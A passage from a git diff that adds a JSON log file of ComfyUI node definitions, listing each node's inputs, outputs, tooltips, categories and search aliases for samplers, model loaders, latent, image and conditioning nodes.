["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "WavespeedImageUpscaleNode", "display_name": "WaveSpeed Image Upscale", "description": "Boost image resolution and quality, upscaling photos to 4K or 8K for sharp, detailed results.", "python_module": "comfy_api_nodes.nodes_wavespeed", "category": "partner/image/WaveSpeed", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"seedvr2\": 0.01, \"ultimate\": 0.06};\n {\"type\":\"usd\", \"usd\": $lookup($prices, widgets.model)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveImageWebsocket": {"input": {"required": {"images": ["IMAGE"]}}, "input_order": {"required": ["images"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "SaveImageWebsocket", "display_name": "Save Image (Websocket)", "description": "", "python_module": "custom_nodes.websocket_image_save", "category": "image", "output_node": true, "has_intermediate_output": false, "search_aliases": []}, "UnetLoaderGGUF": {"input": {"required": {"unet_name": [["flux-2-klein-4b-Q4_K_M.gguf", "flux1-schnell-Q4_K_M.gguf", "qwen-image-Q4_K_M.gguf", "z-image-turbo-Q4_K_M.gguf"]]}}, "input_order": {"required": ["unet_name"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "UnetLoaderGGUF", "display_name": "Unet Loader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CLIPLoaderGGUF": {"input": {"required": {"clip_name": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "type": [["stable_diffusion", "stable_cascade", "sd3", "stable_audio", "mochi", "ltxv", "pixart", "cosmos", "lumina2", "wan", "hidream", "chroma", "ace", "omnigen2", "qwen_image", "hunyuan_image", "flux2", "ovis", "longcat_image", "cogvideox", "lens", "pixeldit", "ideogram4", "boogu", "krea2"]]}}, "input_order": {"required": ["clip_name", "type"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPLoaderGGUF", "display_name": "CLIPLoader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "DualCLIPLoaderGGUF": {"input": {"required": {"clip_name1": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name2": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "type": [["sdxl", "sd3", "flux", "hunyuan_video", "hidream", "hunyuan_image", "hunyuan_video_15", "kandinsky5", "kandinsky5_image", "ltxv", "newbie", "ace"]]}}, "input_order": {"required": ["clip_name1", "clip_name2", "type"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "DualCLIPLoaderGGUF", "display_name": "DualCLIPLoader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "TripleCLIPLoaderGGUF": {"input": {"required": {"clip_name1": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name2": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name3": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]]}}, "input_order": {"required": ["clip_name1", "clip_name2", "clip_name3"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "TripleCLIPLoaderGGUF", "display_name": "TripleCLIPLoader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "QuadrupleCLIPLoaderGGUF": {"input": {"required": {"clip_name1": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name2": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name3": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name4": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]]}}, "input_order": {"required": ["clip_name1", "clip_name2", "clip_name3", "clip_name4"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "QuadrupleCLIPLoaderGGUF", "display_name": "QuadrupleCLIPLoader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "UnetLoaderGGUFAdvanced": {"input": {"required": {"unet_name": [["flux-2-klein-4b-Q4_K_M.gguf", "flux1-schnell-Q4_K_M.gguf", "qwen-image-Q4_K_M.gguf", "z-image-turbo-Q4_K_M.gguf"]], "dequant_dtype": [["default", "target", "float32", "float16", "bfloat16"], {"default": "default"}], "patch_dtype": [["default", "target", "float32", "float16", "bfloat16"], {"default": "default"}], "patch_on_device": ["BOOLEAN", {"default": false}]}}, "input_order": {"required": ["unet_name", "dequant_dtype", "patch_dtype", "patch_on_device"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "UnetLoaderGGUFAdvanced", "display_name": "Unet Loader (GGUF/Advanced)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}} \ No newline at end of file diff --git a/logs/oi_fast.json b/logs/oi_fast.json new file mode 100644 index 0000000000..dfebacb259 --- /dev/null +++ b/logs/oi_fast.json @@ -0,0 +1 @@ +{"KSampler": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model used for denoising the input latent."}], "seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true, "tooltip": "The random seed used for creating the noise."}], "steps": ["INT", {"default": 20, "min": 1, "max": 10000, "tooltip": "The number of steps used in the denoising process."}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01, "tooltip": "The Classifier-Free Guidance scale balances creativity and adherence to the prompt. Higher values result in images more closely matching the prompt however too high values will negatively impact quality."}], "sampler_name": [["euler", "euler_cfg_pp", "euler_ancestral", "euler_ancestral_cfg_pp", "heun", "heunpp2", "exp_heun_2_x0", "exp_heun_2_x0_sde", "dpm_2", "dpm_2_ancestral", "lms", "dpm_fast", "dpm_adaptive", "dpmpp_2s_ancestral", "dpmpp_2s_ancestral_cfg_pp", "dpmpp_sde", "dpmpp_sde_gpu", "dpmpp_2m", "dpmpp_2m_cfg_pp", "dpmpp_2m_sde", "dpmpp_2m_sde_gpu", "dpmpp_2m_sde_heun", "dpmpp_2m_sde_heun_gpu", "dpmpp_3m_sde", "dpmpp_3m_sde_gpu", "ddpm", "lcm", "ipndm", "ipndm_v", "deis", "res_multistep", "res_multistep_cfg_pp", "res_multistep_ancestral", "res_multistep_ancestral_cfg_pp", "gradient_estimation", "gradient_estimation_cfg_pp", "er_sde", "seeds_2", "seeds_3", "sa_solver", "sa_solver_pece", "ddim", "uni_pc", "uni_pc_bh2"], {"tooltip": "The algorithm used when sampling, this can affect the quality, speed, and style of the generated output."}], "scheduler": [["simple", "sgm_uniform", "karras", "exponential", "ddim_uniform", "beta", "normal", "linear_quadratic", "kl_optimal"], {"tooltip": "The scheduler controls how noise is gradually removed to form the image."}], "positive": ["CONDITIONING", {"tooltip": "The conditioning describing the attributes you want to include in the image."}], "negative": ["CONDITIONING", {"tooltip": "The conditioning describing the attributes you want to exclude from the image."}], "latent_image": ["LATENT", {"tooltip": "The latent image to denoise."}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01, "tooltip": "The amount of denoising applied, lower values will maintain the structure of the initial image allowing for image to image sampling."}]}}, "input_order": {"required": ["model", "seed", "steps", "cfg", "sampler_name", "scheduler", "positive", "negative", "latent_image", "denoise"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "KSampler", "display_name": "KSampler", "description": "Uses the provided model, positive and negative conditioning to denoise the latent image.", "python_module": "nodes", "category": "model/sampling", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The denoised latent."], "search_aliases": ["sampler", "sample", "generate", "denoise", "diffuse", "txt2img", "img2img"]}, "CheckpointLoaderSimple": {"input": {"required": {"ckpt_name": [[], {"tooltip": "The name of the checkpoint (model) to load."}]}}, "input_order": {"required": ["ckpt_name"]}, "is_input_list": false, "output": ["MODEL", "CLIP", "VAE"], "output_is_list": [false, false, false], "output_name": ["MODEL", "CLIP", "VAE"], "name": "CheckpointLoaderSimple", "display_name": "Load Checkpoint", "description": "Loads a diffusion model checkpoint, diffusion models are used to denoise latents.", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The model used for denoising latents.", "The CLIP model used for encoding text prompts.", "The VAE model used for encoding and decoding images to and from latent space."], "search_aliases": ["load model", "checkpoint", "model loader", "load checkpoint", "ckpt", "model"]}, "CLIPTextEncode": {"input": {"required": {"text": ["STRING", {"multiline": true, "dynamicPrompts": true, "tooltip": "The text to be encoded."}], "clip": ["CLIP", {"tooltip": "The CLIP model used for encoding the text."}]}}, "input_order": {"required": ["text", "clip"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "CLIPTextEncode", "display_name": "CLIP Text Encode (Prompt)", "description": "Encodes a text prompt using a CLIP model into an embedding that can be used to guide the diffusion model towards generating specific images.", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["A conditioning containing the embedded text used to guide the diffusion model."], "search_aliases": ["text", "prompt", "text prompt", "positive prompt", "negative prompt", "encode text", "text encoder", "encode prompt"]}, "CLIPSetLastLayer": {"input": {"required": {"clip": ["CLIP"], "stop_at_clip_layer": ["INT", {"default": -1, "min": -24, "max": -1, "step": 1, "advanced": true}]}}, "input_order": {"required": ["clip", "stop_at_clip_layer"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPSetLastLayer", "display_name": "CLIP Set Last Layer", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VAEDecode": {"input": {"required": {"samples": ["LATENT", {"tooltip": "The latent to be decoded."}], "vae": ["VAE", {"tooltip": "The VAE model used for decoding the latent."}]}}, "input_order": {"required": ["samples", "vae"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "VAEDecode", "display_name": "VAE Decode", "description": "Decodes latent images back into pixel space images.", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The decoded image."], "search_aliases": ["decode", "decode latent", "latent to image", "render latent"]}, "VAEEncode": {"input": {"required": {"pixels": ["IMAGE"], "vae": ["VAE"]}}, "input_order": {"required": ["pixels", "vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "VAEEncode", "display_name": "VAE Encode", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": ["encode", "encode image", "image to latent"]}, "VAEEncodeForInpaint": {"input": {"required": {"pixels": ["IMAGE"], "vae": ["VAE"], "mask": ["MASK"], "grow_mask_by": ["INT", {"default": 6, "min": 0, "max": 64, "step": 1}]}}, "input_order": {"required": ["pixels", "vae", "mask", "grow_mask_by"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "VAEEncodeForInpaint", "display_name": "VAE Encode (for Inpainting)", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VAELoader": {"input": {"required": {"vae_name": [["flux1_ae.safetensors", "flux2_ae.safetensors", "qwen_image_vae.safetensors", "zimage_vae.safetensors", "pixel_space"]]}}, "input_order": {"required": ["vae_name"]}, "is_input_list": false, "output": ["VAE"], "output_is_list": [false], "output_name": ["VAE"], "name": "VAELoader", "display_name": "Load VAE", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "EmptyLatentImage": {"input": {"required": {"width": ["INT", {"default": 512, "min": 16, "max": 16384, "step": 8, "tooltip": "The width of the latent images in pixels."}], "height": ["INT", {"default": 512, "min": 16, "max": 16384, "step": 8, "tooltip": "The height of the latent images in pixels."}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096, "tooltip": "The number of latent images in the batch."}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "EmptyLatentImage", "display_name": "Empty Latent Image", "description": "Create a new batch of empty latent images to be denoised via sampling.", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The empty latent image batch."], "search_aliases": ["empty", "empty latent", "new latent", "create latent", "blank latent", "blank"]}, "LatentUpscale": {"input": {"required": {"samples": ["LATENT"], "upscale_method": [["nearest-exact", "bilinear", "area", "bicubic", "bislerp"]], "width": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 8}], "height": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 8}], "crop": [["disabled", "center"]]}}, "input_order": {"required": ["samples", "upscale_method", "width", "height", "crop"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentUpscale", "display_name": "Upscale Latent", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": ["enlarge latent", "resize latent"]}, "LatentUpscaleBy": {"input": {"required": {"samples": ["LATENT"], "upscale_method": [["nearest-exact", "bilinear", "area", "bicubic", "bislerp"]], "scale_by": ["FLOAT", {"default": 1.5, "min": 0.01, "max": 8.0, "step": 0.01}]}}, "input_order": {"required": ["samples", "upscale_method", "scale_by"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentUpscaleBy", "display_name": "Upscale Latent By", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": ["enlarge latent", "resize latent", "scale latent"]}, "LatentFromBatch": {"input": {"required": {"samples": ["LATENT"], "batch_index": ["INT", {"default": 0, "min": -16384, "max": 16384}], "length": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["samples", "batch_index", "length"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentFromBatch", "display_name": "Get Latent From Batch", "description": "", "python_module": "nodes", "category": "model/latent/batch", "output_node": false, "has_intermediate_output": false, "search_aliases": ["select from batch", "pick latent", "batch subset"]}, "RepeatLatentBatch": {"input": {"required": {"samples": ["LATENT"], "amount": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["samples", "amount"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "RepeatLatentBatch", "display_name": "Repeat Latent Batch", "description": "", "python_module": "nodes", "category": "model/latent/batch", "output_node": false, "has_intermediate_output": false, "search_aliases": ["duplicate latent", "clone latent"]}, "SaveImage": {"input": {"required": {"images": ["IMAGE", {"tooltip": "The images to save."}], "filename_prefix": ["STRING", {"default": "ComfyUI", "tooltip": "The prefix for the file to save. This may include formatting information such as %date:yyyy-MM-dd% or %Empty Latent Image.width% to include values from nodes."}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["images", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "name": "SaveImage", "display_name": "Save Image", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "nodes", "category": "image", "output_node": true, "has_intermediate_output": false, "search_aliases": ["save", "save image", "export image", "output image", "write image", "download"], "essentials_category": "Basics"}, "PreviewImage": {"input": {"required": {"images": ["IMAGE"]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["images"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "name": "PreviewImage", "display_name": "Preview Image", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "nodes", "category": "image", "output_node": true, "has_intermediate_output": false, "search_aliases": ["preview", "preview image", "show image", "view image", "display image", "image viewer"], "essentials_category": "Basics"}, "LoadImage": {"input": {"required": {"image": [["example.png"], {"image_upload": true}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "name": "LoadImage", "display_name": "Load Image", "description": "", "python_module": "nodes", "category": "image", "output_node": false, "has_intermediate_output": false, "search_aliases": ["load image", "open image", "import image", "image input", "upload image", "read image", "image loader"], "essentials_category": "Basics"}, "LoadImageMask": {"input": {"required": {"image": [["example.png"], {"image_upload": true}], "channel": [["alpha", "red", "green", "blue"]]}}, "input_order": {"required": ["image", "channel"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "name": "LoadImageMask", "display_name": "Load Image (as Mask)", "description": "", "python_module": "nodes", "category": "image", "output_node": false, "has_intermediate_output": false, "search_aliases": ["import mask", "alpha mask", "channel mask"], "essentials_category": "Image Tools"}, "LoadImageOutput": {"input": {"required": {"image": ["COMBO", {"image_upload": true, "image_folder": "output", "remote": {"route": "/internal/files/output", "refresh_button": true, "control_after_refresh": "first"}}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "name": "LoadImageOutput", "display_name": "Load Image (from Outputs)", "description": "Load an image from the output folder. When the refresh button is clicked, the node will update the image list and automatically select the first image, allowing for easy iteration.", "python_module": "nodes", "category": "image", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["output image", "previous generation"], "essentials_category": "Basics"}, "ImageScale": {"input": {"required": {"image": ["IMAGE"], "upscale_method": [["nearest-exact", "bilinear", "area", "bicubic", "lanczos"]], "width": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 1}], "crop": [["disabled", "center"]]}}, "input_order": {"required": ["image", "upscale_method", "width", "height", "crop"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "ImageScale", "display_name": "Upscale Image", "description": "", "python_module": "nodes", "category": "image/upscaling", "output_node": false, "has_intermediate_output": false, "search_aliases": ["resize", "resize image", "scale image", "image resize", "zoom", "zoom in", "change size"], "essentials_category": "Image Tools"}, "ImageScaleBy": {"input": {"required": {"image": ["IMAGE"], "upscale_method": [["nearest-exact", "bilinear", "area", "bicubic", "lanczos"]], "scale_by": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 8.0, "step": 0.01}]}}, "input_order": {"required": ["image", "upscale_method", "scale_by"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "ImageScaleBy", "display_name": "Upscale Image By", "description": "", "python_module": "nodes", "category": "image/upscaling", "output_node": false, "has_intermediate_output": false, "search_aliases": [], "essentials_category": "Image Tools"}, "ImageInvert": {"input": {"required": {"image": ["IMAGE"]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "ImageInvert", "display_name": "Invert Image Colors", "description": "", "python_module": "nodes", "category": "image/color", "output_node": false, "has_intermediate_output": false, "search_aliases": ["reverse colors"], "essentials_category": "Image Tools"}, "ImageBatch": {"input": {"required": {"image1": ["IMAGE"], "image2": ["IMAGE"]}}, "input_order": {"required": ["image1", "image2"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "ImageBatch", "display_name": "Batch Images (DEPRECATED)", "description": "", "python_module": "nodes", "category": "image/batch", "output_node": false, "has_intermediate_output": false, "deprecated": true, "search_aliases": ["combine images", "merge images", "stack images"]}, "ImagePadForOutpaint": {"input": {"required": {"image": ["IMAGE"], "left": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "top": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "right": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "bottom": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "feathering": ["INT", {"default": 40, "min": 0, "max": 16384, "step": 1, "advanced": true}]}}, "input_order": {"required": ["image", "left", "top", "right", "bottom", "feathering"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "name": "ImagePadForOutpaint", "display_name": "Pad Image for Outpainting", "description": "", "python_module": "nodes", "category": "image/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["extend canvas", "expand image"]}, "EmptyImage": {"input": {"required": {"width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "color": ["INT", {"default": 0, "min": 0, "max": 16777215, "step": 1, "display": "color"}]}}, "input_order": {"required": ["width", "height", "batch_size", "color"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "EmptyImage", "display_name": "Empty Image", "description": "", "python_module": "nodes", "category": "image", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ConditioningAverage": {"input": {"required": {"conditioning_to": ["CONDITIONING"], "conditioning_from": ["CONDITIONING"], "conditioning_to_strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning_to", "conditioning_from", "conditioning_to_strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningAverage", "display_name": "Conditioning (Average)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["blend prompts", "interpolate conditioning", "mix prompts", "style fusion", "weighted blend"]}, "ConditioningCombine": {"input": {"required": {"conditioning_1": ["CONDITIONING"], "conditioning_2": ["CONDITIONING"]}}, "input_order": {"required": ["conditioning_1", "conditioning_2"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningCombine", "display_name": "Conditioning (Combine)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["combine", "merge conditioning", "combine prompts", "merge prompts", "mix prompts", "add prompt"], "essentials_category": "Image Generation"}, "ConditioningConcat": {"input": {"required": {"conditioning_to": ["CONDITIONING"], "conditioning_from": ["CONDITIONING"]}}, "input_order": {"required": ["conditioning_to", "conditioning_from"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningConcat", "display_name": "Conditioning (Concat)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ConditioningSetArea": {"input": {"required": {"conditioning": ["CONDITIONING"], "width": ["INT", {"default": 64, "min": 64, "max": 16384, "step": 8}], "height": ["INT", {"default": 64, "min": 64, "max": 16384, "step": 8}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "width", "height", "x", "y", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetArea", "display_name": "Conditioning (Set Area)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["regional prompt", "area prompt", "spatial conditioning", "localized prompt"]}, "ConditioningSetAreaPercentage": {"input": {"required": {"conditioning": ["CONDITIONING"], "width": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "height": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "x": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "y": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "width", "height", "x", "y", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetAreaPercentage", "display_name": "Conditioning (Set Area with Percentage)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ConditioningSetAreaStrength": {"input": {"required": {"conditioning": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetAreaStrength", "display_name": "Conditioning (Set Area Strength)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ConditioningSetMask": {"input": {"required": {"conditioning": ["CONDITIONING"], "mask": ["MASK"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}}, "input_order": {"required": ["conditioning", "mask", "strength", "set_cond_area"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetMask", "display_name": "Conditioning (Set Mask)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["masked prompt", "regional inpaint conditioning", "mask conditioning"]}, "KSamplerAdvanced": {"input": {"required": {"model": ["MODEL"], "add_noise": [["enable", "disable"], {"advanced": true}], "noise_seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "sampler_name": [["euler", "euler_cfg_pp", "euler_ancestral", "euler_ancestral_cfg_pp", "heun", "heunpp2", "exp_heun_2_x0", "exp_heun_2_x0_sde", "dpm_2", "dpm_2_ancestral", "lms", "dpm_fast", "dpm_adaptive", "dpmpp_2s_ancestral", "dpmpp_2s_ancestral_cfg_pp", "dpmpp_sde", "dpmpp_sde_gpu", "dpmpp_2m", "dpmpp_2m_cfg_pp", "dpmpp_2m_sde", "dpmpp_2m_sde_gpu", "dpmpp_2m_sde_heun", "dpmpp_2m_sde_heun_gpu", "dpmpp_3m_sde", "dpmpp_3m_sde_gpu", "ddpm", "lcm", "ipndm", "ipndm_v", "deis", "res_multistep", "res_multistep_cfg_pp", "res_multistep_ancestral", "res_multistep_ancestral_cfg_pp", "gradient_estimation", "gradient_estimation_cfg_pp", "er_sde", "seeds_2", "seeds_3", "sa_solver", "sa_solver_pece", "ddim", "uni_pc", "uni_pc_bh2"]], "scheduler": [["simple", "sgm_uniform", "karras", "exponential", "ddim_uniform", "beta", "normal", "linear_quadratic", "kl_optimal"]], "positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "latent_image": ["LATENT"], "start_at_step": ["INT", {"default": 0, "min": 0, "max": 10000, "advanced": true}], "end_at_step": ["INT", {"default": 10000, "min": 0, "max": 10000, "advanced": true}], "return_with_leftover_noise": [["disable", "enable"], {"advanced": true}]}}, "input_order": {"required": ["model", "add_noise", "noise_seed", "steps", "cfg", "sampler_name", "scheduler", "positive", "negative", "latent_image", "start_at_step", "end_at_step", "return_with_leftover_noise"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "KSamplerAdvanced", "display_name": "KSampler (Advanced)", "description": "", "python_module": "nodes", "category": "model/sampling", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "SetLatentNoiseMask": {"input": {"required": {"samples": ["LATENT"], "mask": ["MASK"]}}, "input_order": {"required": ["samples", "mask"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "SetLatentNoiseMask", "display_name": "Set Latent Noise Mask", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "LatentComposite": {"input": {"required": {"samples_to": ["LATENT"], "samples_from": ["LATENT"], "x": 